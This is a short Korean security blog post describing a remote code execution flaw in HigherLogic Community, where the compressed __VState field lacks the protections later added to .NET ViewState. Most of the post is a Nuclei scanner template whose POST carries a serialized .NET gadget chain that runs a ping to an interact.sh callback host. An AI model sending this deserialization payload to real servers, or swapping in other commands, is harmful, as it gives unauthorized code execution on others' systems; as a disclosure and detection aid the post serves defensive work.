[하루한줄] HigherLogic Community RCE Vulnerability

URL

HigherLogic Community RCE Vulnerability

Target

HigherLogic Community

Explain

__ViewState는 사용자 세션의 상태에 대한 정보를 포함하는 매개 변수입니다.

.NET에서는 사용자가 로그인되어 있는지, 사용자 설정이 변경되었는지 등의 정보가 serialized 된 .NET object의 형태로 __ViewState 매개 변수 안에 있습니다. 사용자는 웹서버에 요청을 보낼 때 웹 사이트에서 제공하는 __ViewState를 전송하고 서버를 이를 사용해 사용자 세선을 관리합니다.

2000년대 후반, .NET을 사용하는 많은 웹 사이트 개발자들은 __ViewState 대신 이를 압축한 __VState에 사용자 뷰스테이트를 저장하는 코드를 추가하여 사용했습니다. 문제는 __ViewState에서 deserialization에 의한 원격 코드 실행 취약점이 발견되었고 이를 방지하기 위해 암호화 설정이 추가되었는데, __VState 트릭을 사용하는 애플리케이션들은 개발자가 직접 수정하지 않는 한 이러한 업데이트를 받지 못합니다.

즉, __VState를 사용하는 .NET 웹 애플리케이션들 중 다수가 deserialization에 의한 원격 코드 실행 취약점이 그대로 남아 있어 악용이 가능합니다.

id: HigherLogic-RCE

info:
  name: HigherLogic-RCE
  author: Fir3God and meme-lord
  severity: critical
  reference:
    - https://blog.sorcery.ie/posts/higherlogic_rce
  tags: oast,rce

requests:
  - raw:
    - |
        GET /home HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36        
    - |
        POST /home HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36        
 
        ScriptManager1_TSM=&StyleSheetManager1_TSSM=&__EVENTTARGET=&__EVENTARGUMENT=&__VSTATE={{url_encode(base64(gzip(replace(base64_decode("/wEy7hEAAQAAAP////8BAAAAAAAAAAwCAAAASVN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V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs="),"5/c ping aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.interact.sh",html_unescape("&#"+(len("{{interactsh-url}}")+8)+";")+"/c ping {{interactsh-url}}"))))}}&__VIEWSTATE=&__HL-RequestVerificationToken={{hl_request_verification}}&ctl00%24SearchControl%24SearchTerm=&ctl00%24MainCopy%24ctl08%24SearchTerm=&ctl00%24MainCopy%24ctl30%24sortByToggle8b8812c3-d1db-4c35-99f7-86c034eb633f=Most+Recent&ctl00%24SearchControl%24hiddenSearchButton=

    redirects: true
    max-redirects: 3
    cookie-reuse: true
    extractors:
      - type: regex
        name: hl_request_verification
        part: body
        internal: true
        group: 1
        regex:
          - '<input\sname="__HL-RequestVerificationToken"\stype="hidden"\svalue="([a-zA-Z0-9-_/]*)"\s/>'        
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

Referenc

https://www.graa.nl/articles/2010.html



본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.